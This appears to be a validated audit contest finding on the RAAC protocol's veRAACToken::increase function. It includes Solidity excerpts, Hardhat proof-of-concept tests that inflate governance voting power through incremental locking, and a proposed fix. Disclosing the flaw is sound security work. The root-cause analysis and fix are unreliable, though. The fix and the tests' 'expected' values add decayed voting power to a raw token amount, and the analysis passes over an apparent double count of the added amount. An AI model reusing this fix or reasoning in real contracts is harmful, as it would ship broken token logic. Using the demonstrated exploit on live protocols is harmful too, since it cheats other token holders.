Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Rate of decay not measured in veRAACToken::increase which allows users to unfairly boost voting power by calling this function

Summary

The veRAACToken::increase function contains a critical vulnerability in the calculation of voting power (bias) when users increase their locked token amount. The issue arises because the function does not account for the decay of the user's existing voting power over time. Instead, it calculates the new bias based on the original locked amount, ignoring the fact that the user's voting power has decreased due to decay.

This flaw allows users to exploit the system by:

Initially locking a small amount of tokens.

Waiting for their voting power to decay partially.

Increasing their locked amount to gain disproportionately higher voting power compared to users who lock the same total amount upfront.

Vulnerability Details

veRAACToken::increase allows a user with an existing lock to increase the amount they have locked. See below:

/**
* @notice Increases the amount of locked RAAC tokens
* @dev Adds more tokens to an existing lock without changing the unlock time
* @param amount The additional amount of RAAC tokens to lock
*/
function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount + amount,
userLock.end
);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}

The key line to note is where the newBias is calculated with:

(int128 newBias, int128 newSlope) = _votingState
.calculateAndUpdatePower(
msg.sender,
userLock.amount + amount,
userLock.end
);

VotingPowerLib::calculateAndUpdatePower updates the user's bias as follows:

/**
* @notice Calculates and updates voting power for a user
* @dev Updates points and slope changes for power decay
* @param state The voting power state
* @param user The user address
* @param amount The amount of tokens
* @param unlockTime The unlock timestamp
* @return bias The calculated voting power bias
* @return slope The calculated voting power slope
*/
function calculateAndUpdatePower(
VotingPowerState storage state,
address user,
uint256 amount,
uint256 unlockTime
) internal returns (int128 bias, int128 slope) {
if (amount == 0 || unlockTime <= block.timestamp) revert InvalidPowerParameters();
uint256 MAX_LOCK_DURATION = 1460 days; // 4 years
// FIXME: Get me to uncomment me when able
// bias = RAACVoting.calculateBias(amount, unlockTime, block.timestamp);
// slope = RAACVoting.calculateSlope(amount);
// Calculate initial voting power that will decay linearly to 0 at unlock time
uint256 duration = unlockTime - block.timestamp;
uint256 initialPower = (amount * duration) / MAX_LOCK_DURATION; // Normalize by max duration
bias = int128(int256(initialPower));
slope = int128(int256(initialPower / duration)); // Power per second decay
uint256 oldPower = getCurrentPower(state, user, block.timestamp);
state.points[user] = RAACVoting.Point({
bias: bias,
slope: slope,
timestamp: block.timestamp
});
_updateSlopeChanges(state, unlockTime, 0, slope);
emit VotingPowerUpdated(user, oldPower, uint256(uint128(bias)));
return (bias, slope);
}

The crease function passes userLock.amount + amount. The idea is that we calculate a new bias value based on the amount that the user wants to deposit and the last amount the user deposited. Then the new bias gotten from there using the above function.

The error occurs in the calculation of the new bias. Since veRAACToken::increase uses userLock.amount, it assumes the initial value that the user deposited into the protocol. This doesn't take the rate of decay into account. The idea of ve mechanics is that the tokens lose value over time as their power tends towards 0. So when a user increases their locked amount, the previous balance they deposited should have been decaying over time and the amount that should be considered when a user increases their lock is the current amount factoring decay + new amount user wants to deposit. In the current implementation, the rate of decay is not considered which can lead to a host of issues including that a user could opt to initially lock a small amount and come back and increase the lock by a larger amount and get more voting power than a user who just locked the same amount at once using veRAACToken::lock.

##Proof Of Code (POC)

The following tests were run in the veRAACToken.test.js file in the "Lock Mechanism" describe block.

it("new bias skew in increase function", async () => {
//c for testing purposes
const initialAmount = ethers.parseEther("1000");
const additionalAmount = ethers.parseEther("500");
const duration = 365 * 24 * 3600; // 1 year
await veRAACToken.connect(users[0]).lock(initialAmount, duration);
//c wait for some time to pass so the user's biases to change
await time.increase(duration / 2); //c half a year has passed
//c get user biases
const user0BiasPreIncrease = await veRAACToken.getVotingPower(
users[0].address
);
console.log("User 0 Bias: ", user0BiasPreIncrease);
//c calculate expected bias after increase taking the rate of decay of user's tokens into account
const amount = user0BiasPreIncrease + additionalAmount;
console.log("Amount: ", amount);
const positionPreIncrease = await veRAACToken.getLockPosition(
users[0].address
);
const positionEndTime = positionPreIncrease.end;
console.log("Position End Time: ", positionEndTime);
const currentTimestamp = await time.latest();
const duration1 = positionEndTime - BigInt(currentTimestamp);
console.log("Duration 1: ", duration1);
const user0expectedBiasAfterIncrease =
(amount * duration1) / (await veRAACToken.MAX_LOCK_DURATION());
console.log(
"Expected Bias After Increase: ",
user0expectedBiasAfterIncrease
);
await veRAACToken.connect(users[0]).increase(additionalAmount);
//c get actual user biases after increase
const user0actualBiasPostIncrease = await veRAACToken.getVotingPower(
users[0].address
);
console.log("User 0 Post Increase Bias: ", user0actualBiasPostIncrease);
//c since the rate of decay was not taken into account when calculating the user's bias, the expected bias after increase will be less than the actual bias after increase which gives the user more voting power than expected which can be used to skew voting results and reward distribution
assert(user0expectedBiasAfterIncrease < user0actualBiasPostIncrease);
const position = await veRAACToken.getLockPosition(users[0].address);
expect(position.amount).to.equal(initialAmount + additionalAmount);
});
it("2 users locking same amount with different methods end up with different voting power", async () => {
//c for testing purposes
const initialAmount = ethers.parseEther("1000");
const duration = 365 * 24 * 3600; // 1 year
//c user0 locks tokens using the lock function
await veRAACToken.connect(users[0]).lock(initialAmount, duration);
//c user 1 knows about the exploit and deposits only half the amount of user 0 for same duration
await veRAACToken
.connect(users[1])
.lock(BigInt(initialAmount) / BigInt(2), duration);
//c wait for some time to pass so the user's biases to change
await time.increase(duration / 2); //c half a year has passed
//c user1 waits half a year and then deposits the next half of the amount without adjusting their lock duration
await veRAACToken
.connect(users[1])
.increase(BigInt(initialAmount) / BigInt(2));
//c get user biases
const user0BiasPostIncrease = await veRAACToken.getVotingPower(
users[0].address
);
console.log("User 0 Bias: ", user0BiasPostIncrease);
const user1BiasPostIncrease = await veRAACToken.getVotingPower(
users[1].address
);
console.log("User 1 Bias: ", user1BiasPostIncrease);
//c at this point, user0 and user1 should have the same voting power since they have the same amount of tokens locked for the same duration but this isnt the case due to the bug in the above test and user1 will end up with more tokens than user 0
assert(user0BiasPostIncrease < user1BiasPostIncrease);
});

Impact

The vulnerability in the veRAACToken::increase function has significant implications for the fairness and integrity of the protocol. Specifically:

Unfair Voting Power Distribution: Users who exploit this vulnerability by initially locking a small amount and later increasing it can gain disproportionately higher voting power compared to users who lock the same total amount upfront. This skews voting outcomes and undermines the fairness of governance decisions.

Reward Distribution Manipulation: Exploiting this bug allows users to manipulate their voting power to claim a larger share of rewards than they are entitled to.

Economic Imbalance: The exploit could lead to an imbalance in the protocol's tokenomics, as users who exploit the bug gain an unfair advantage over honest participants.

Tools Used

Manual Review, Hardhat

Recommendations

Update the increase Function: Modify the increase function to pass the current decayed balance of the user's existing lock to calculateAndUpdatePower.

Update the increase function to:

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
_updateBoostState(msg.sender, locks[msg.sender].amount);
// Get the current decayed balance of the user's existing lock
uint256 currentBalance = getCurrentPower(_votingState, msg.sender, block.timestamp);
// Update voting power
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
currentBalance + amount, // Use current decayed balance + new amount
userLock.end
);
// Update checkpoints
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
// Transfer additional tokens and mint veTokens
raacToken.safeTransferFrom(msg.sender, address(this), amount);
_mint(msg.sender, newPower - balanceOf(msg.sender));
emit LockIncreased(msg.sender, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase calculates new bias using original locked amount not accounting for decay, allowing unfair voting power boost through incremental locking

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase calculates new bias using original locked amount not accounting for decay, allowing unfair voting power boost through incremental locking

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.